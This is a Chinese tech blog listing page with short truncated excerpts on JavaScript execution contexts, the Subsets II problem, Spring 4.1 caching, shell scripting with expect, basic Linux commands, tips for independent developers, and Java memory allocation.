理解Javascript_13_执行模型详解摘要: 在《理解Javascript_12_执行模型浅析》一文中,我们初步的了解了执行上下文与作用域的概念，那么这一篇将深入分析执行上下文的构建过程，了解执行上下文、函数对象、作用域三者之间的关系。函数执行环境简单的代码:当调用say方法时，第一步是创建其执行环境，在创建执行环境的过程中，会按照定义的先后顺序完成一系列操作:1.首先会创建一个
Subsets II hcx2013 set
Given a collection of integers that might contain duplicates, nums, return all possible subsets. Note: Elements in a subset must be in non-descending order. The solution set must not conta
Spring4.1新特性——Spring缓存框架增强 jinnianshilongnian spring4
目录 Spring4.1新特性——综述 Spring4.1新特性——Spring核心部分及其他 Spring4.1新特性——Spring缓存框架增强 Spring4.1新特性——异步调用和事件机制的异常处理 Spring4.1新特性——数据库集成测试脚本初始化 Spring4.1新特性——Spring MVC增强 Spring4.1新特性——页面自动化测试框架Spring MVC T
shell嵌套expect执行命令 liyonghui160com
一直都想把expect的操作写到bash脚本里,这样就不用我再写两个脚本来执行了,搞了一下午终于有点小成就,给大家看看吧. 系统:centos 5.x 1.先安装expect yum -y install expect 2.脚本内容: cat auto_svn.sh #!/bin/bash
Linux实用命令整理 pda158 linux
0. 基本命令　　linux 基本命令整理　　1. 压缩解压　　tar -zcvf a.tar.gz a #把a压缩成a.tar.gz 　　tar -zxvf a.tar.gz #把a.tar.gz解压成a 　　2. vim小结　　2.1 vim替换　　:m,ns/word_1/word_2/gc
独立开发人员通向成功的29个小贴士 shoothao 独立开发
概述：本文收集了关于独立开发人员通向成功需要注意的一些东西,对于具体的每个贴士的注解有兴趣的朋友可以查看下面标注的原文地址。明白你从事独立开发的原因和目的。保持坚持制定计划的好习惯。万事开头难，第一份订单是关键。培养多元化业务技能。提供卓越的服务和品质。谨小慎微。营销是必备技能。学会组织，有条理的工作才是最有效率的。 “独立
JAVA中堆栈和内存分配原理 uule java
1、栈、堆 1.寄存器：最快的存储区, 由编译器根据需求进行分配,我们在程序中无法控制.2. 栈：存放基本类型的变量数据和对象的引用，但对象本身不存放在栈中，而是存放在堆（new 出来的对象）或者常量池中（字符串常量对象存放在常量池中。）3. 堆：存放所有new出来的对象。4. 静态域：存放静态成员（static定义的）5. 常量池：存放字符串常量和基本类型常量（public static f